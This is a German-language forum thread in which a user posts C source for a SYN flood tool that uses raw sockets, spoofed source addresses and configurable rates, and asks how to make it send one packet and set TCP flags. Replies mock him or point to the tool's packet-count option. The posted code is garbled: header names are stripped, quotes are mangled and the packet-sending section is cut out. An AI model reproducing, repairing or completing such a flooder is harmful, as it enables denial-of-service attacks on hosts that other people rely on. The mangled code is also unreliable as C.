Syn flooder abändern!

Abend

Ich habe hier den Code eines SynFlooders, aber ich kann noch sehr schlecht C, jetzt meine Frage: Wie kann ich den so abändern, das er nicht mehr floodet sondern immer nur ein Paket versendet! Läuft unter Linux! Danach fertig ist, wer natürlich einen Code hat mit dem ich die verschiedenen TCP Flags setzen kann, bin ich natürlich auch zufrieden (Ist eingentlich das Ziel)!

#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include
#include

#include
#include
#include

struct my_packet {
struct iphdr ip;
struct tcphdr tcp;
};

/* extern functions */
extern unsigned long inet_addr(char *);

/* Functions in the file */
void print_usage(FILE *file);
inline unsigned short ip_cksum(unsigned short *buff, int len);
inline unsigned short tcp_check(struct tcphdr *th, unsigned short len, unsigned long saddr, unsigned long daddr);

#define DEFAULT_RATE 20
#define DEFAULT_COUNT 100

unsigned long syn_daddr; /* network order of address to flood */
unsigned long syn_saddr; /* source address */
unsigned short syn_port; /* port to flood */
int rate = DEFAULT_RATE;
int count = DEFAULT_COUNT;
int sockfd;

int main(int argc, char **argv) {
struct my_packet out;
int local_port = 1024;
int local_seq = 0;
struct sockaddr_in to;
int len_to = sizeof(to);
int c, sent;

while(( c = getopt(argc, argv, „hn:r:“)) != -1) {
switch© {
case ‚h‘:
print_usage(stdout);
exit(0);
break;
case ‚n‘:
count = atoi(optarg);
break;
case ‚r‘:
rate = atoi(optarg);
break;
default:
break;
}
}

if (argc > 3) {
syn_daddr = inet_addr(argv[argc - 3]);
syn_port = htons(atoi(argv[argc - 2]));
syn_saddr = inet_addr(argv[argc - 1]);
} else {
fprintf(stderr, „You must provide an ip address and a port to flood with a source address\n“);
print_usage(stderr);
exit(-1);
}

if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) 1)
count–;
if (local_port == 65535)
local_port = 1024;
sent++;
if (sent == rate) {
sent = 0;
sleep(1);
}

}

return 0;
}

/* dump the help on stderr or stdout */
void print_usage(FILE *file) {
fprintf(file, „Usage:\n“);
fprintf(file, „./syn-fsyn [opts] \n“);
fprintf(file, " -h print this help\n");
fprintf(file, " -n x Number of packets to send, 0 mean for ever default: %d\n", count);
fprintf(file, " -r x Rate to send packets per second default: %d\n", rate);
}

inline unsigned short ip_cksum(unsigned short *buff, int len) {
unsigned long sum = 0;
while(len > 1) {
sum += *buff++;
len -= 2;
}
if (len == 1)
sum += (*buff & 0xff);
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
sum = ~sum;
return (sum & 0xffff);
}

inline unsigned short tcp_check(struct tcphdr *th, unsigned short len, unsigned long saddr, unsigned long daddr) {
unsigned long sum = 0;
unsigned short *buff;

buff = (unsigned short *) &saddr;
sum += *buff++;
sum += *buff;
buff = (unsigned short *) &daddr;
sum += *buff++;
sum += *buff;

sum += IPPROTO_TCP * 256;
sum += htons(len) & 0xffff;

buff = (unsigned short *) th;

while(len > 1) {
sum += *buff++;
len -= 2;
}

if (len == 1)
sum += (*buff & 0xff);

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);

return ( (~sum) & 0xffff);
}

Abend

Ich habe hier den Code eines SynFlooders, aber ich kann noch
sehr schlecht C, jetzt meine Frage: Wie kann ich den so
abändern, das er nicht mehr floodet sondern immer nur ein
Paket versendet!

OK, danke dass du den Code noch für den letzten Depp geposted hast, der noch keinen Flooder hatte. Und wenn du zu wenig C kannst, um eine Endlosschleife zu finden, solltest du veilleicht mal in ein „C für Anfänger“-Buch schauen.

OK, danke dass du den Code noch für den letzten Depp geposted
hast, der noch keinen Flooder hatte.

LOL

Und wenn du zu wenig C
kannst, um eine Endlosschleife zu finden, solltest du
veilleicht mal in ein „C für Anfänger“-Buch schauen.

mache ich, aber ich habe eben den fehler gemacht zuerst VB dann C zu lernen!

Ich denke du musst gar nichts ändern. Schau dir mal folgendes Stück Code an:

while(( c = getopt(argc, argv, "hn:r:")) != -1) 
{
 switch(c) 
 {
 case 'h':
 print\_usage(stdout);
 exit(0);
 break;
 case 'n':
 count = atoi(optarg);
 break;
 case 'r':
 rate = atoi(optarg);
 break;
 default:
 break;
 }
}

Da werden drei Parameter abgefangen, einer davon scheinbar für die Anzahl Packete die er schicken soll, ein anderer für die Frequenz. Probiers deswegen einfach mal dem Tool als Parameter -n 1 zu übergeben, dann schickt es nur ein Packet.

Am einfachsten änderst du das, in dem du die Variable in der er die Anzahl speichert fix auf 1 setzt, dann musst du dich überhaupt nicht mit dem restlichen Code beschäftigen.

Das mit dem TCP-Flags ist natürlich ein bißchen mehr Arbeit, aber da hast du dann was zum C üben. :smile:

Grüße, Robert

OK, danke dass du den Code noch für den letzten Depp geposted
hast, der noch keinen Flooder hatte.

Wegen Verbreitung von diesem Source würde ich mir keine Sorgen machen, jemand der nicht fähig ist so ein Tool über Google zu finden, der wirds auch nicht aus diesem Source erstellen können. :smile:

Grüße, Robert

jo, habe noch ein anderer gefunden, dort war das ganze jetzt übersichtlicher, jetzt gehts! danke